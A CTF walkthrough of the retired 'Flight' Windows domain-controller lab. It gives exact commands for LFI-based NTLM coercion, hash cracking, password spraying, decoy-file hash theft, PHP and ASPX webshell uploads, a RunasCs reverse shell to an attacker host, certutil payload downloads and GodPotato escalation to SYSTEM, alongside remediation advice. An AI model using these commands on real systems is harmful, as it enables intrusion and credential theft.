J. Perez Duertojperezduerto.info
← all walkthroughs

Flight

Windows· Hard· Web
owned
2026-09-04
time to own
21m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target Flight ($TARGET) is the flight.htb Active Directory domain controller. Vhost discovery uncovered a school.flight.htb site whose page-inclusion parameter accepted forward-slash UNC paths despite blocking backslashes and traversal, letting me coerce the web service account into authenticating to a rogue SMB listener.

The captured NetNTLMv2 hash cracked to a password that S.Moon had reused, and S.Moon's write access to a file share was abused to drop NTLM-coercion files that captured a second user's hash. That user's write access to the site's web root allowed a PHP webshell upload for code execution, and a follow-up RunasCs upgrade produced an interactive shell and user.txt.

From there, a writable internal IIS development site was found listening only on localhost; uploading an ASPX webshell into it yielded code execution as the IIS application pool identity, which held SeImpersonatePrivilege. A GodPotato impersonation exploit turned that privilege into NT AUTHORITY\SYSTEM, giving full control of the domain controller and root.txt.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceService enumeration and virtual-host discovery (T1595, T1590)
Mapped the domain controller and discovered a hidden virtual host
A full service sweep identified DNS, Kerberos, LDAP, SMB, and Global Catalog ports consistent with a Windows AD domain controller for flight.htb, alongside a plain HTTP site on port 80. Fuzzing the Host header against the web server revealed a second virtual host, school.flight.htb, not linked from the main page.
Exact commands 3
Full TCP sweep confirms the AD DC service fingerprint.
nmap -p- -sV -Pn $TARGET
Resolve the base domain locally.
echo "$TARGET flight.htb" | sudo tee -a /etc/hosts
Vhost fuzz discovers school.flight.htb; add it to /etc/hosts once found.
ffuf -u http://$TARGET/ -H 'Host: FUZZ.flight.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs <baseline_size>
2Initial AccessLFI-driven forced authentication / NTLM hash capture via UNC injection (T1187, CWE-22)
Abused a file-read parameter to coerce SMB authentication and captured the web service account's hash
School.flight.htb's index.php?view= parameter read arbitrary files. Its filter blocked backslashes and ../ traversal but did not block forward-slash UNC paths, so pointing the parameter at my own UNC share forced the web server (running as svc_apache) to authenticate to a rogue SMB listener, leaking its NetNTLMv2 hash. The hash cracked offline to a usable password.
Http://school.flight.htb/index.php?view=C:/windows/system32/drivers/etc/hosts confirmed local file read; Responder captured svc_apache NetNTLMv2 after view=//$ATTACKER_IP/share/x; hashcat -m 5600 recovered [REDACTED: recovered credential]
Exact commands 5
Confirm the file-read sink and that forward slashes are not filtered.
curl -s 'http://school.flight.htb/index.php?view=C:/windows/system32/drivers/etc/hosts'
Start a rogue SMB/HTTP listener to capture coerced NTLM authentication.
sudo responder -I tun0
Force the web server to authenticate to me over SMB.
curl -s "http://school.flight.htb/index.php?view=//$ATTACKER_IP/share/x"
Crack the captured NetNTLMv2 hash offline.
hashcat -m 5600 svc_apache.ntlmv2 /usr/share/wordlists/rockyou.txt
Validate the recovered credential over SMB.
netexec smb flight.htb -u svc_apache -p '$PASSWORD4'
FixSanitize the page-inclusion parameter and block outbound NTLM authentication to an unauthorised user infrastructureCritical
Weaknessschool.flight.htb's index.php?view= parameter read arbitrary local files and, despite blocking backslashes and directory traversal, still accepted forward-slash UNC paths, letting an unauthorised user force the web server to authenticate over SMB to a rogue listener and leak its NetNTLMv2 hash.
FixReplace the file-read logic with a strict allow-list of page identifiers (never pass user input to a filesystem or UNC path). Additionally block outbound SMB (445/139) from servers to arbitrary hosts at the firewall, disable NTLMv1 domain-wide, and require SMB signing plus Extended Protection for Authentication to blunt any future coercion/relay attempt.
3Lateral MovementRID cycling / SID lookup enumeration and password spraying (T1087.002, T1110.003)
Enumerated domain users and sprayed the recovered password to find reuse
Using the svc_apache credential, the domain's user list was pulled via SID brute-forcing (RID cycling) over SMB. The same password recovered for svc_apache was then sprayed against every discovered account and turned out to be reused by user S.Moon, yielding a second set of domain credentials.
Lookupsid.py flight.htb/svc_apache@flight.htb enumerated S.Moon, R.Cold, C.Bum, W.Walker, V.Stevens; netexec spray showed S.Moon authenticated with [REDACTED: recovered credential]
Exact commands 2
RID-cycle the DC to enumerate domain usernames.
impacket-lookupsid flight.htb/svc_apache:'$PASSWORD4'@flight.htb
Spray the known password across all enumerated usernames; S.Moon succeeds.
netexec smb flight.htb -u users.txt -p '$PASSWORD4' --continue-on-success
FixEliminate password reuse across service and user accountsHigh
WeaknessThe password recovered for the svc_apache service account was reused unchanged by the domain user S.Moon, letting one cracked credential pivot directly into a second account.
FixEnforce unique, randomly generated passwords per account (a managed service account or vaulted secret for svc_apache) and enable Azure AD Password Protection / a custom banned-password list in on-prem AD to block credential reuse and weak passwords domain-wide.
4Lateral MovementNTLM hash theft via decoy files on a writable share (T1187)
Wrote NTLM-coercion decoy files to a writable share and captured a second user's hash
S.Moon had write access to the 'Shared' SMB share. Dropping ntlm_theft-generated decoy files (desktop.ini, .url, .lnk variants) onto that share caused the next user who opened the folder to leak a NetNTLMv2 hash to a listener, identifying and capturing credentials for user C.Bum, who was cracked offline.
Smbmap showed WRITE on 'Shared' for S.Moon; ntlm_theft.py-generated files uploaded to Shared; Responder captured c.bum NetNTLMv2 -> hashcat -m 5600 recovered [REDACTED: recovered credential]
Exact commands 5
Confirm write access to the Shared share.
smbmap -H flight.htb -u S.Moon -p '$PASSWORD4'
Generate decoy files (desktop.ini/.url/.lnk) that force SMB auth when browsed.
python3 ntlm_theft.py -g all -s $ATTACKER_IP -f x
Upload the coercion decoys to the writable share (repeat for each generated variant).
smbclient //flight.htb/Shared -U flight.htb/S.Moon%'$PASSWORD4' -c 'put x/x.url x.url'
Capture the NetNTLMv2 hash of whoever browses the share next (c.bum).
sudo responder -I tun0
Crack the captured hash to [REDACTED: recovered credential]
hashcat -m 5600 c.bum.ntlmv2 /usr/share/wordlists/rockyou.txt
FixRestrict write access on general-purpose SMB sharesHigh
WeaknessStandard domain users (S.Moon, C.Bum) had write access to shares ('Shared' and 'Web') that were either browsed by other privileged users or directly served as the production website's document root, allowing NTLM-coercion decoy files and a PHP webshell to be planted.
FixApply least-privilege NTFS/share ACLs so general file shares are not writable by ordinary users, and never serve a writable share as a web application's document root. Separate the web deployment path from any user-writable share and deploy only via a controlled CI/CD process.
5FootholdUnrestricted file upload to a web-served share -> webshell RCE, then RunasCs privilege context switch (T1505.003, T1059.003)
Uploaded a PHP webshell to the writable web root and upgraded to an interactive shell
C.Bum had write access to the 'Web' share, which mapped directly to the school.flight.htb document root under XAMPP. Uploading a PHP webshell gave code execution as svc_apache; RunasCs was then used with C.Bum's cracked password to spawn a full interactive reverse shell as C.Bum (who lacked WinRM access), from which user.txt was read.
Smbmap confirmed WRITE on 'Web' (C:\xampp\htdocs\school.flight.htb); http://school.flight.htb/styles/shell.php?cmd=whoami ran as svc_apache; RunasCs spawned a shell as flight\c.bum; whoami and type C:\Users\C.Bum\Desktop\user.txt confirmed access.
Exact commands 4
Upload a PHP webshell into the writable Web share (site document root).
smbclient //flight.htb/Web -U flight.htb/C.Bum%'$PASSWORD2' -c 'put shell.php styles/shell.php'
Confirm code execution as svc_apache.
curl -s 'http://school.flight.htb/styles/shell.php?cmd=whoami'
Use RunasCs to spawn an interactive reverse shell as c.bum (no WinRM available).
curl -s "http://school.flight.htb/styles/shell.php?cmd=C:\\Windows\\Temp\\RunasCs.exe c.bum $PASSWORD2 cmd.exe -r $ATTACKER_IP:4444"
Catch the reverse shell; then run: whoami && type C:\Users\C.Bum\Desktop\<user.txt>
nc -lvnp 4444
6Privilege EscalationWritable IIS content root -> ASPX webshell RCE as a service account (T1505.003)
Found and abused a writable internal IIS development site
From the c.bum shell, netstat showed an internal-only web service bound to 127.0.0.1:8000, backed by C:\inetpub\development. C.Bum had write access to that folder. Uploading an ASPX webshell (PHP does not execute under IIS) gave code execution as the IIS application pool identity, which whoami /priv confirmed held SeImpersonatePrivilege.
Netstat -ano | findstr 127.0.0.1:8000 showed the listener; icacls C:\inetpub\development showed C.Bum write; curl to cmd.aspx?cmd=whoami returned iis apppool\defaultapppool; whoami /priv listed SeImpersonatePrivilege as Enabled.
Exact commands 5
From the c.bum shell — identify the internal-only IIS dev site.
netstat -ano | findstr 127.0.0.1:8000
Confirm c.bum has write access to the IIS content root.
icacls C:\inetpub\development
Stage an ASPX webshell (IIS will not execute .php).
certutil -urlcache -f http://$ATTACKER_IP:9001/cmd.aspx C:\inetpub\development\cmd.aspx
Confirm execution as iis apppool\defaultapppool.
curl.exe -s http://127.0.0.1:8000/cmd.aspx?cmd=whoami
Confirm SeImpersonatePrivilege is enabled for the app pool identity.
curl.exe -s "http://127.0.0.1:8000/cmd.aspx?cmd=whoami%20/priv"
FixRemove world/user write access to the IIS development site content rootHigh
WeaknessA localhost-only IIS development site at C:\inetpub\development was writable by a low-privileged domain user, allowing an ASPX web shell to be uploaded and executed with the IIS application pool's identity and privileges.
FixRestrict write access on all IIS content roots to the deployment/service account only, remove development sites from production servers, and disable script execution in any directory that must remain user-writable (e.g. via IIS request filtering / handler mappings).
7Privilege EscalationPotato-family token impersonation privilege escalation (T1134.001, T1068)
Abused SeImpersonatePrivilege with GodPotato to obtain SYSTEM and read root.txt
The IIS application pool's SeImpersonatePrivilege was leveraged with the GodPotato impersonation exploit, which coerces a privileged local COM/RPC connection and impersonates the resulting token, yielding a NT AUTHORITY\SYSTEM command execution context. This SYSTEM shell was used to read root.txt from the Administrator's desktop, completing full compromise of the domain controller.
GodPotato-NET4.exe -cmd 'cmd /c whoami' returned nt authority\system; the same technique read C:\Users\Administrator\Desktop\root.txt.
Exact commands 3
Stage the GodPotato binary via the ASPX webshell's execution context.
certutil -urlcache -f http://$ATTACKER_IP:9001/GodPotato-NET4.exe C:\inetpub\development\GodPotato-NET4.exe
Confirm privilege escalation to nt authority\system.
curl.exe -s "http://127.0.0.1:8000/cmd.aspx?cmd=C:%5Cinetpub%5Cdevelopment%5CGodPotato-NET4.exe%20-cmd%20%22cmd%20/c%20whoami%22"
Read root.txt as SYSTEM; replace with <root.txt> when reporting the value.
curl.exe -s "http://127.0.0.1:8000/cmd.aspx?cmd=C:%5Cinetpub%5Cdevelopment%5CGodPotato-NET4.exe%20-cmd%20%22cmd%20/c%20type%20C:%5CUsers%5CAdministrator%5CDesktop%5Croot.txt%22"
FixConstrain SeImpersonatePrivilege on service/app-pool accounts to prevent Potato-style escalationCritical
WeaknessThe IIS application pool identity retained SeImpersonatePrivilege, allowing a local impersonation exploit (GodPotato) to escalate arbitrary code execution in that context straight to NT AUTHORITY\SYSTEM.
FixRun application pools under the minimum required privilege set; remove SeImpersonatePrivilege from service accounts that do not require it, keep Windows fully patched (Microsoft periodically ships mitigations for specific Potato variants), and deploy EDR detections for token-impersonation API sequences (RpcSs/DCOM abuse, CreateProcessWithTokenW).

Attack patterns used

The transferable techniques behind this compromise.

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002

What it is

Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an externally controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.

Why it works

Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.

Read more

Exposed services

53/tcp
80/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
3268/tcp
9389/tcp
49667/tcp
49677/tcp
49678/tcp
49690/tcp
49698/tcp
53/udp